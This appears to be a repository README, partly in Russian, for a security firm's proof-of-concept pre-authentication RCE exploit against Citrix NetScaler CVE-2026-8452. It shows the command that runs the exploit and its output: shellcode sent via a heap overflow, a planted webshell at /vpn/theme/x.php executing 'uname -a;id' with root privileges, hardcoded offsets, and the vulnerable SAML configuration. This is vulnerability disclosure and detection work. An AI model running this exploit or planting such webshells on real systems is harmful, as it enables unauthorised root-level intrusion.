watchtowrlabs/watchtowr-vs-citrix-netscaler-preauth-rce-cve-2026-8452Эксплойт Proof-of-concept для Citrix NetScaler CVE-2026-8452, который проверяет RCE до аутентификации, создавая shellcode и выполняя команды через развернутый webshell.
Генератор детектирующих артефактов для Citrix NetScaler CVE-2026-8452
Технические подробности см. в нашем посте в блоге.
python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py
(*) Citrix NetScaler PreAuth Heap overflow to RCE Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-8452]
[*] Connecting to endpoint...
[*] target AAA service is responsive
[*] building shellcode
[+] shellcode size: 268 bytes
[*] triggering jmp rax to 0x112d30180
[*] sent..
[+] webshell will be at https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] web shell output:
FreeBSD something 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 ef731ca813f0(heads/artesa_30_52)-dirty: Wed Aug 24 08:24:55 PDT 2022 root@sjc-bld-bsd114-215:/usr/obj/usr/home/build/adc/usr.src/sys/NS64 amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
все смещения/адреса жестко закодированы для версии NetScaler 13.1-30.52
Уязвимость доступна, когда устройство NetScaler настроено на использование SAML в качестве поставщика услуг (SP) или поставщика удостоверений (IdP).
Citrix указывает следующие затронутые версии:
Чтобы быть в курсе последних исследований в области безопасности, следите за командой watchTowr Labs